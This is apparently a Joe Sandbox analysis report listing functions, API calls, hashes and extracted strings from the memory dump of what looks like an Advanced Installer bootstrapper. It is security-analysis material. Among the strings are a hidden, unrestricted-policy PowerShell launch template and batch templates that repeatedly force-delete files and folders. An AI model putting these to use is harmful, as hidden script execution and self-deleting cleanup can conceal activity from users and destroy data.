Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 394678059d63e70c45b0c640f4cb74feb4a7aa282ff92bf46d5e2b8c5b4426cd
Instruction ID: 1789a673616025a4eff8545d094faf7d50a34e2044dcdf47d16f810df4a07652
Opcode Fuzzy Hash: 394678059d63e70c45b0c640f4cb74feb4a7aa282ff92bf46d5e2b8c5b4426cd
Instruction Fuzzy Hash: 4031A071A00209DBEB10DF99DC45BAEBBF8FB05714F50016AE925E73C0D7B59A4487A1

Uniqueness

Uniqueness Score: -1.00%

Function 00CC389E Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad7e187e713a4ed24fe875df7233a8ce4dd6d4aa3765bfada67edbb9dde34520
Instruction ID: d194d0caa70145f0da129a5951295e934f2dcd26e84c092ab18e1fbb773e9f61
Opcode Fuzzy Hash: ad7e187e713a4ed24fe875df7233a8ce4dd6d4aa3765bfada67edbb9dde34520
Instruction Fuzzy Hash: A8F03032A11264EBCB17D74CD405F99B3A8EB85B61F12909AF551DB290C674DF00DBD0

Uniqueness

Uniqueness Score: -1.00%

Function 00CC38E2 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52a31a1b2c87d20f6f1ccd6e3f5e56cdbfee1b29986efbea090f4dac1cf3a30c
Instruction ID: 07b041f800fbcc9e9a9700a57ac1d98186d031117eaef788e71e251ef08e5ffa
Opcode Fuzzy Hash: 52a31a1b2c87d20f6f1ccd6e3f5e56cdbfee1b29986efbea090f4dac1cf3a30c
Instruction Fuzzy Hash: 69E08C32911278EBCB14DB89D905E8AF7ECEB49B00B11849AF501D3101C2B4DF01D7D0

Uniqueness

Uniqueness Score: -1.00%

Function 00CBEA61 Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ca74bf86403612b33997a65aa0df787ea7991c8497a48da527edbc35c2bef3e
Instruction ID: 5ead2ebd42f6f19de1632e718b6162ac7e9235ff062cd094b0d103bce467d963
Opcode Fuzzy Hash: 5ca74bf86403612b33997a65aa0df787ea7991c8497a48da527edbc35c2bef3e
Instruction Fuzzy Hash: EEC08C3800294046DE299910C2B17E63358F391B83F94088DC4130B682C61E9E83F680

Uniqueness

Uniqueness Score: -1.00%

Function 00C4B0A0 Relevance: 31.8, APIs: 9, Strings: 9, Instructions: 335COMMON

Download Yara Rule

Strings

Unable to find file , xrefs: 00C4B0D3
Unable to get a temp file for script output, temp path: , xrefs: 00C4B1AF
Unable to retrieve PowerShell output from file: , xrefs: 00C4B3FE
Unable to retrieve exit code from process., xrefs: 00C4B421
D, xrefs: 00C4B23F
powershell.exe -NonInteractive -NoLogo -ExecutionPolicy Unrestricted -WindowStyle Hidden -Command "$host.UI.RawUI.BufferSize = new, xrefs: 00C4B1FF
Unable to create process: , xrefs: 00C4B2A4
txt, xrefs: 00C4B173
ps1, xrefs: 00C4B146, 00C4B158, 00C4B162

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID:
String ID: D$Unable to create process: $Unable to find file $Unable to get a temp file for script output, temp path: $Unable to retrieve PowerShell output from file: $Unable to retrieve exit code from process.$powershell.exe -NonInteractive -NoLogo -ExecutionPolicy Unrestricted -WindowStyle Hidden -Command "$host.UI.RawUI.BufferSize = new$ps1$txt
API String ID: 0-2137955053
Opcode ID: 20002bfa97525c5a036cd1eac2b7ac1d1acb23e8944938286853637cf69f2b8b
Instruction ID: 077e4aa00140100259d9f2aaf09d9669ffc984ea644b0ae1f00357653a01efa4
Opcode Fuzzy Hash: 20002bfa97525c5a036cd1eac2b7ac1d1acb23e8944938286853637cf69f2b8b
Instruction Fuzzy Hash: 6EC18E71D00649AFDB10DFA8CD45BAEBBF4FF09314F108259E524A72A1DB74AE44CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00BFEBE0 Relevance: 28.2, APIs: 7, Strings: 9, Instructions: 238libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00B19E20: GetProcessHeap.KERNEL32 ref: 00B19E75
Part of subcall function 00B19E20: __Init_thread_footer.LIBCMT ref: 00B19EA7
Part of subcall function 00B19E20: __Init_thread_footer.LIBCMT ref: 00B19F32

GetModuleHandleW.KERNEL32(kernel32,7E4AB622,?,7E4AB622,00000000), ref: 00BFECE3
GetProcAddress.KERNEL32(00000000,SetSearchPathMode,00000000), ref: 00BFED2B
__Init_thread_footer.LIBCMT ref: 00BFED3E
GetProcAddress.KERNEL32(00000000,SetDllDirectory,00000000), ref: 00BFED86
__Init_thread_footer.LIBCMT ref: 00BFED99
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories,00000000), ref: 00BFEDE1
__Init_thread_footer.LIBCMT ref: 00BFEDF4

Part of subcall function 00BD6110: GetSystemDirectoryW.KERNEL32(?,00000105,7E4AB622,?,?,Kernel32.dll,00000000,00D0381D,000000FF), ref: 00BD6151
Part of subcall function 00BD6110: _wcschr.LIBVCRUNTIME ref: 00BD620F

Strings

kernel32, xrefs: 00BFECDE
@echo off %%SystemRoot%%\System32\attrib.exe -r "%s" :try rd "%s" if exist "%s" goto try%%SystemRoot%%\System32\attrib.exe -r "%s" del "%s" | cls, xrefs: 00BFEC57, 00BFEC5F
@echo off %%SystemRoot%%\System32\attrib.exe -r "%s" :try del "%s" if exist "%s" goto try%%SystemRoot%%\System32\attrib.exe -r "%s" del "%s" | cls, xrefs: 00BFEC52
SetDefaultDllDirectories, xrefs: 00BFEDDB
kernel32.dll, xrefs: 00BFEF3D
@echo off %%SystemRoot%%\System32\attrib.exe -r "%s" SET count=0 :try %%SystemRoot%%\System32\timeout.exe 5 SET /a count=%%count%%+1rd "%s" if %%count%% GTR %lu goto breakif exist "%s" goto try:break %%SystemRoot%%\System32\attrib.exe -r ", xrefs: 00BFEC70, 00BFEC7F
@echo off %%SystemRoot%%\System32\attrib.exe -r "%s" SET count=0 :try %%SystemRoot%%\System32\timeout.exe 5 SET /a count=%%count%%+1del "%s" if %%count%% GTR %lu goto breakif exist "%s" goto try:break %%SystemRoot%%\System32\attrib.exe -r ", xrefs: 00BFEC77
SetDllDirectory, xrefs: 00BFED80
SetSearchPathMode, xrefs: 00BFED25

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: Init_thread_footer$AddressProc$DirectoryHandleHeapModuleProcessSystem_wcschr
String ID: @echo off %%SystemRoot%%\System32\attrib.exe -r "%s" :try del "%s" if exist "%s" goto try%%SystemRoot%%\System32\attrib.exe -r "%s" del "%s" | cls$@echo off %%SystemRoot%%\System32\attrib.exe -r "%s" :try rd "%s" if exist "%s" goto try%%SystemRoot%%\System32\attrib.exe -r "%s" del "%s" | cls$@echo off %%SystemRoot%%\System32\attrib.exe -r "%s" SET count=0 :try %%SystemRoot%%\System32\timeout.exe 5 SET /a count=%%count%%+1rd "%s" if %%count%% GTR %lu goto breakif exist "%s" goto try:break %%SystemRoot%%\System32\attrib.exe -r "$@echo off %%SystemRoot%%\System32\attrib.exe -r "%s" SET count=0 :try %%SystemRoot%%\System32\timeout.exe 5 SET /a count=%%count%%+1del "%s" if %%count%% GTR %lu goto breakif exist "%s" goto try:break %%SystemRoot%%\System32\attrib.exe -r "$SetDefaultDllDirectories$SetDllDirectory$SetSearchPathMode$kernel32$kernel32.dll
API String ID: 1258094593-3455668873
Opcode ID: ce5c19219b0981aac1b14e502acb088b475ee721387dbed3a49f2e4ab4ab4c4b
Instruction ID: d6782b7918d66cb1261745ced4e73529cf105a3e557e0ac88c2a28f16a5415a4
Opcode Fuzzy Hash: ce5c19219b0981aac1b14e502acb088b475ee721387dbed3a49f2e4ab4ab4c4b
Instruction Fuzzy Hash: 82A17BB0912348DFDB60CF94D989BADBBF4EB01318F005299E519AB391D7B06908CF75

Uniqueness

Uniqueness Score: -1.00%

Function 00C24950 Relevance: 24.7, APIs: 1, Strings: 13, Instructions: 167COMMON

Download Yara Rule

APIs

Part of subcall function 00B19E20: GetProcessHeap.KERNEL32 ref: 00B19E75
Part of subcall function 00B19E20: __Init_thread_footer.LIBCMT ref: 00B19EA7
Part of subcall function 00B19E20: __Init_thread_footer.LIBCMT ref: 00B19F32

OutputDebugStringW.KERNEL32(?,7E4AB622,?,?,?,00D11425,000000FF,?,00C54FDF,?,?,?,00000000), ref: 00C24AE8

Strings

AI_INST_PRODCODES=%s AI_INTANCE_LOCATION="%s" AI_INST_MAJORUPGRADE=1 , xrefs: 00C259A5
"%s" TRANSFORMS="%s;%s;%s" AI_INST_PRODCODES=%s AI_INTANCE_LOCATION="%s" AI_INST_MAJORUPGRADE=1 , xrefs: 00C25AEF
MSINEWINSTANCE=1 , xrefs: 00C256F6
TRANSFORMS=:%s.mst MSINEWINSTANCE=1 , xrefs: 00C25720
.mst, xrefs: 00C255A7, 00C2560E, 00C25ACE
.msi, xrefs: 00C25557, 00C25A50
REINSTALL=ALL REINSTALLMODE=vomus , xrefs: 00C25BA3
majorupgrade-content.mst, xrefs: 00C25566, 00C25A5F
TRANSFORMS=":%s.mst;%s" MSINEWINSTANCE=1 , xrefs: 00C2570F
%s , xrefs: 00C2585C, 00C25B91
"%s" TRANSFORMS="%s;%s;%s" AI_INST_MAJORUPGRADE=1 AI_NEWINST=1 , xrefs: 00C255C2
TRANSFORMS="%s" AI_INST_MAJORUPGRADE=1, xrefs: 00C256C7
"%s" TRANSFORMS="%s;%s" AI_INST_MAJORUPGRADE=1 AI_NEWINST=1 , xrefs: 00C25628

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: Init_thread_footer$DebugHeapOutputProcessString
String ID: "%s" TRANSFORMS="%s;%s" AI_INST_MAJORUPGRADE=1 AI_NEWINST=1 $ "%s" TRANSFORMS="%s;%s;%s" AI_INST_MAJORUPGRADE=1 AI_NEWINST=1 $ "%s" TRANSFORMS="%s;%s;%s" AI_INST_PRODCODES=%s AI_INTANCE_LOCATION="%s" AI_INST_MAJORUPGRADE=1 $ %s $ AI_INST_PRODCODES=%s AI_INTANCE_LOCATION="%s" AI_INST_MAJORUPGRADE=1 $ MSINEWINSTANCE=1 $ REINSTALL=ALL REINSTALLMODE=vomus $ TRANSFORMS="%s" AI_INST_MAJORUPGRADE=1$ TRANSFORMS=":%s.mst;%s" MSINEWINSTANCE=1 $ TRANSFORMS=:%s.mst MSINEWINSTANCE=1 $.msi$.mst$majorupgrade-content.mst
API String ID: 1673903050-743168453
Opcode ID: aa5f95063ef2dca52df76c728c461ea5b6d6f95fd4207db9abfc99cecfe4527a
Instruction ID: 31a935e3c728fcf63f3afbb279490a0a1d17d60f6d372ccb43454c47e1f881c3
Opcode Fuzzy Hash: aa5f95063ef2dca52df76c728c461ea5b6d6f95fd4207db9abfc99cecfe4527a
Instruction Fuzzy Hash: 2A51CE75A00255DFDB14DB6CD8447AEBBF4EF45321F1482A9E815EB391DB309E04CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00B1CC00 Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 246libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(combase.dll,RoGetActivationFactory,7E4AB622,?,?,00000000,?,?,?,?,?,?,7E4AB622,00CD29C5,000000FF), ref: 00B1CC6D
GetProcAddress.KERNEL32(00000000,combase.dll,RoGetActivationFactory,7E4AB622,?,?,00000000,?,?,?,?,?,?,7E4AB622,00CD29C5,000000FF), ref: 00B1CC73
LoadLibraryW.KERNEL32(combase.dll,CoIncrementMTAUsage,?,?,?,?,?,?,7E4AB622,00CD29C5,000000FF,?,00B67EDA,00D3FD3C,7E4AB622,7E4AB622), ref: 00B1CCA3
GetProcAddress.KERNEL32(00000000,combase.dll,CoIncrementMTAUsage,?,?,?,?,?,?,7E4AB622,00CD29C5,000000FF,?,00B67EDA,00D3FD3C,7E4AB622), ref: 00B1CCA9

Strings

RoGetActivationFactory, xrefs: 00B1CC63
CoIncrementMTAUsage, xrefs: 00B1CC99
.dll, xrefs: 00B1CDC6
DllGetActivationFactory, xrefs: 00B1CE22
combase.dll, xrefs: 00B1CC68, 00B1CC9E

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: .dll$CoIncrementMTAUsage$DllGetActivationFactory$RoGetActivationFactory$combase.dll
API String ID: 2574300362-2454113998
Opcode ID: 051d727629a9e6afde1b1851edb7182f036f9ceb79932a298b0806fb37b71cb3
Instruction ID: ba22aa455c32ed991e3e34b223d2552d9eb713db91084835a6706c6538eae58d
Opcode Fuzzy Hash: 051d727629a9e6afde1b1851edb7182f036f9ceb79932a298b0806fb37b71cb3
Instruction Fuzzy Hash: 67A18C71A40209EFDF14DFA8C895BEDBFF4EF08314F644169E411A7290DB70AA84DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00B1D4C0 Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 222libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(combase.dll,RoGetActivationFactory,7E4AB622,?,?,?,?,?,?,?,7E4AB622,00CD2BE5,000000FF,?,00B1D7DA,00D38D14), ref: 00B1D527
GetProcAddress.KERNEL32(00000000,combase.dll,RoGetActivationFactory,7E4AB622,?,?,?,?,?,?,?,7E4AB622,00CD2BE5,000000FF,?,00B1D7DA), ref: 00B1D52D
LoadLibraryW.KERNEL32(combase.dll,CoIncrementMTAUsage,?,?,?,?,?,7E4AB622,00CD2BE5,000000FF,?,00B1D7DA,00D38D14,7E4AB622,7E4AB622), ref: 00B1D55E
GetProcAddress.KERNEL32(00000000,combase.dll,CoIncrementMTAUsage,?,?,?,?,?,7E4AB622,00CD2BE5,000000FF,?,00B1D7DA,00D38D14,7E4AB622,7E4AB622), ref: 00B1D564

Strings

RoGetActivationFactory, xrefs: 00B1D51D
CoIncrementMTAUsage, xrefs: 00B1D554
.dll, xrefs: 00B1D669
DllGetActivationFactory, xrefs: 00B1D6A9
combase.dll, xrefs: 00B1D522, 00B1D559

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: .dll$CoIncrementMTAUsage$DllGetActivationFactory$RoGetActivationFactory$combase.dll
API String ID: 2574300362-2454113998
Opcode ID: 06661ec25347fa8399d4744307c07b0b3d520efd7db4f39889998124cf73fa2c
Instruction ID: 679f38f126bb3fb26e5037df7a55f8763dc92cd41c5de61c008afde3e6fd3f97
Opcode Fuzzy Hash: 06661ec25347fa8399d4744307c07b0b3d520efd7db4f39889998124cf73fa2c
Instruction Fuzzy Hash: CA819F71A00209EFDB14DFA8C995BEEBBF4EF08318F5441A9F411A7291DB749E84DB60

Uniqueness

Uniqueness Score: -1.00%

Function 00C1EAE0 Relevance: 19.5, APIs: 6, Strings: 5, Instructions: 286threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(00DBB2F4,7E4AB622,?,?,00000000), ref: 00C1EC03
EnterCriticalSection.KERNEL32(?,7E4AB622,?,?,00000000,?,?,?,?,?,00000000,00D10277,000000FF), ref: 00C1EC15
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000000,00D10277,000000FF), ref: 00C1EC22
GetCurrentThread.KERNEL32(?,?,?,?,?,00000000,00D10277,000000FF), ref: 00C1EC2D
GetModuleHandleW.KERNEL32(00000000,*** Stack Trace (x86) ***,0000001F,?,00D3744C,00000000), ref: 00C1EE0E
LeaveCriticalSection.KERNEL32(?,00000000), ref: 00C1EEEA

Strings

MODULE_BASE_ADDRESS, xrefs: 00C1EE5B
*** Stack Trace (x86) ***, xrefs: 00C1ED07
v, xrefs: 00C1EEEA
[0x%.8Ix] , xrefs: 00C1EE15
<--------------------MORE--FRAMES-------------------->, xrefs: 00C1EDB2

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: CriticalSection$Current$EnterHandleInitializeLeaveModuleProcessThread
String ID: *** Stack Trace (x86) ***$ v$<--------------------MORE--FRAMES-------------------->$MODULE_BASE_ADDRESS$[0x%.8Ix]
API String ID: 3051236879-1086252000
Opcode ID: 8f9b39d4db115d2089d6083cfb1c2e0274d734fa363a28a971b298e36de1f4df
Instruction ID: ee13c2cc0cd3b1c01ccdab7f73220ae2d63f304a5e9daf88442a827c706a5e84
Opcode Fuzzy Hash: 8f9b39d4db115d2089d6083cfb1c2e0274d734fa363a28a971b298e36de1f4df
Instruction Fuzzy Hash: 80C16570900388DFDB25DFA4CC59BEE7BB8BF09304F404158E9599B281DBB55B48DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00C1EB90 Relevance: 19.5, APIs: 6, Strings: 5, Instructions: 223threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(00DBB2F4,7E4AB622,?,?,00000000), ref: 00C1EC03
EnterCriticalSection.KERNEL32(?,7E4AB622,?,?,00000000,?,?,?,?,?,00000000,00D10277,000000FF), ref: 00C1EC15
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000000,00D10277,000000FF), ref: 00C1EC22
GetCurrentThread.KERNEL32(?,?,?,?,?,00000000,00D10277,000000FF), ref: 00C1EC2D
GetModuleHandleW.KERNEL32(00000000,*** Stack Trace (x86) ***,0000001F,?,00D3744C,00000000), ref: 00C1EE0E
LeaveCriticalSection.KERNEL32(?,00000000), ref: 00C1EEEA

Strings

MODULE_BASE_ADDRESS, xrefs: 00C1EE5B
*** Stack Trace (x86) ***, xrefs: 00C1ED07
v, xrefs: 00C1EEEA
[0x%.8Ix] , xrefs: 00C1EE15
<--------------------MORE--FRAMES-------------------->, xrefs: 00C1EDB2

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: CriticalSection$Current$EnterHandleInitializeLeaveModuleProcessThread
String ID: *** Stack Trace (x86) ***$ v$<--------------------MORE--FRAMES-------------------->$MODULE_BASE_ADDRESS$[0x%.8Ix]
API String ID: 3051236879-1086252000
Opcode ID: 69852c378685ad0465add2e8d6400b1e252f95f6d3d1b97a37e13594cf2ecdf1
Instruction ID: 91b6757b1acdf6ed921bcf2524abbc79e23c94f2d87b472aa38f049fc1b80f57
Opcode Fuzzy Hash: 69852c378685ad0465add2e8d6400b1e252f95f6d3d1b97a37e13594cf2ecdf1
Instruction Fuzzy Hash: 46A17770900388DFDB25DFA4CC59BEE7BB8BF09308F404158E959AB281DBB55B48DB61

Uniqueness

Uniqueness Score: -1.00%

Function 00C2A1E0 Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 282COMMON

Download Yara Rule

APIs

Part of subcall function 00C1F530: LoadLibraryW.KERNEL32(Shlwapi.dll,?,00000000,?,00000001,00C2A241,00000001,7E4AB622,?,00000000,00000001), ref: 00C1F54B
Part of subcall function 00C1F530: GetProcAddress.KERNEL32(00000000,DllGetVersion,?,00000000,?,00000001,00C2A241,00000001,7E4AB622,?,00000000,00000001), ref: 00C1F561
Part of subcall function 00C1F530: FreeLibrary.KERNEL32(00000000), ref: 00C1F59A

GetEnvironmentVariableW.KERNEL32(APPDATA,?,00000104,7E4AB622,?,00000000,00000001), ref: 00C2A420

Strings

AI_BOOTSTRAPPERLANGS, xrefs: 00C2A4F2, 00C2A53A
APPDATA, xrefs: 00C2A417, 00C2A41F
PROGRAMFILES, xrefs: 00C2A3FD
Shell32.dll, xrefs: 00C2A263
ProgramFiles, xrefs: 00C2A320, 00C2A335, 00C2A33D
ProgramFilesFolder, xrefs: 00C2A2A7
AppDataFolder, xrefs: 00C2A388, 00C2A3C5
Shlwapi.dll, xrefs: 00C2A237

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: Library$AddressEnvironmentFreeLoadProcVariable
String ID: AI_BOOTSTRAPPERLANGS$APPDATA$AppDataFolder$PROGRAMFILES$ProgramFiles$ProgramFilesFolder$Shell32.dll$Shlwapi.dll
API String ID: 788177547-1020860216
Opcode ID: e0761227c942bb240ac82abd730aa4366afcadc891ffcd1f24aaf379bc29f12c
Instruction ID: 06a27751a6c39f2109de8e77c8322b9f6de1f8001fb66279b0055d9656c34b61
